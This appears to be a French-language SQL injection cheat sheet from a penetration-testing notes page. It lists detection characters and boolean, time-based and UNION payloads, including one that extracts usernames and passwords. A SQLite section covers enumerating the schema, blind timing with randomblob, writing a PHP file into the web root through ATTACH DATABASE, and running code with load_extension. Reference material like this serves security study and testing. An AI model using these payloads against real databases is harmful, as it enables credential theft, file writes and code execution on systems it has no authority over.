Fiche memo
Détection Initiale des Points d'Entrée
Échappement des Caractères :
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Test de Caractères Spéciaux :
Injection de Quotes :
username=' OR '1'='1
Injection de Commentaires :
username=' OR '1'='1--
Tests Booléens :
Conditions Toujours Vraies :
username=' OR '1'='1
Conditions Toujours Fausses :
username=' AND '1'='2
Tests de Chargement Différé :
Attaques Basées sur le Temps :
username=' OR IF(1=1, SLEEP(5), 0)--
Tests de UNION :
Injection UNION :
' UNION SELECT NULL, NULL, username, password FROM users--
Commentaires
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
SQLite
Objectif
Requête/Commande
Description
Concatenation de chaînes
`
Commentaires
--
Ajoute un commentaire sur une ligne dans SQL. Tout ce qui suit --
sur la même ligne sera ignoré.
Conditions
CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse'
Permet d'implémenter des conditions logiques dans une requête SQL. Utilisé pour appliquer des conditions spécifiques.
Sous-chaînes
substr(string,start,stop)
Extrait une sous-chaîne de la chaîne string
, commençant à start
et finissant à stop
.
Longueur d'une chaîne
length(string)
Retourne la longueur de la chaîne string
.
Quotes sans les guillemets littéraux
cast(X'27' as text)
; cast(X'22' as text)
Utilisé pour représenter des apostrophes ('
) et des guillemets ("
) dans des chaînes littérales. X'27'
représente l'apostrophe et X'22'
le guillemet double.
Énumération des noms de tables
' UNION SELECT name FROM sqlite_master WHERE type='table'
;
Récupère les noms de toutes les tables dans la base de données.
Énumération du schéma des tables
' UNION SELECT sql FROM sqlite_master WHERE type='table'
;
Récupère les requêtes de création de toutes les tables, fournissant le schéma de chaque table.
Extraction de données basée sur le temps
cond='true' AND 1=randomblob(100000000)
;
Introduit un délai en fonction de la condition cond
. Utilisé pour des attaques de temporisation.
Écriture de fichiers
1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;--
Écrit des données dans une base de données en attachant une nouvelle base de données et créant une table. Requiert l'accès direct à la base ou des options de requête empilées.
Exécution de code arbitraire
load_extension(library_file,entry_point)
;
Charge une bibliothèque dynamique (.dll
pour Windows, .so
pour Unix) pour exécuter du code arbitraire. Requiert une configuration non par défaut.
Last updated